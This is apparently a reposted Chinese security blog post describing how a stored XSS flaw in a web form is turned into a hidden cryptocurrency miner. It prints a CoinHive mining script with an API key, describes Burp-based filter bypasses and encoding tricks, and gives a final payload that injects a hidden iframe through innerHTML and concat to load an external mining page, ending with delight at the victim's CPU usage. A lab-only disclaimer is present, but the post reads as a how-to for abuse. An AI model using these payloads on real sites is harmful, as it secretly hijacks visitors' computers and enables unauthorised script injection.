一个XSS挖矿马的曲折历程
Posted Tide安全团队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一个XSS挖矿马的曲折历程相关的知识,希望对你有一定的参考价值。
声明:
本文首发于freebuf TideSec专栏:
https://www.freebuf.com/column/197538.html
本文中所涉及的目标系统均为局域网搭建的测试环境,如IP或URL有雷同纯属巧合。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
复现
首先复现一下这个漏洞,现在输入框内插入XSS代码:
Burp抓包:
发现前台已经将XSS过滤,修改数据包:
放行数据包后,刷新当前页面:
存储型XSS一枚,但是上面都不是重点
挖矿
既然有这么好的机会,我们这么可以不试试挖矿呢?
首先需要一个门罗币账户(不赘述)
其次去coinhive注册一个账户(不赘述)
APIkey:3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo
获取JS运行脚本
<script src=https://coinhive.com/lib/coinhive.min.js></script>
<script>
var miner = new CoinHive.Anonymous(’3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo’, {throttle: 0.5});
miner.start();
</script>
本以为直接将脚本插入即可,结果插入之后直接返回400错误:
根据测试可以发现,这是因为没有将空格编码为+所导致的。
从返回的数据包中,可以看到我们接收到的数据正是我们想要。
但是进入页面查看一下,妈卖批为啥不执行。。。。。。。
那我们不妨尝试一下DOM,先选一个id吧,直接覆盖。
就选这个吧,这个好看~ 现在控制台尝试一下:
这里使用+对URL进行拼接,查看一下源码:
开心哈哈哈哈,现在效果达到,但是特么的为什么没有运行呢?????
大概就是这么个意思,那好吧,那就换种方法,使用iframe加载总可以了吧。
这次返回的结果是正确的,但是我们刚刚用来拼接字符串的+已经让它给变成空格了。
因此,我们换种方法来拼接字符串,使用concat函数
最终Payload如下:
<script>
document.getElementById(“toast”).innerHTML=”<iframe+src=http”.concat(“s://url.rul/YouUrl+style=’display:”).concat(“none;’></iframe>”)
</script>
查看效果:
查看DOM插入的iframe:
看到CPU利用率我就开心哈哈哈哈:
总结
遇到XSS就是各种绕吧,如果你有什么更好的方法,可以在下方留下你的payload。
另外:听说dashboard不干了?
这以后怎么玩???
关注我们
以上是关于一个XSS挖矿马的曲折历程的主要内容,如果未能解决你的问题,请参考以下文章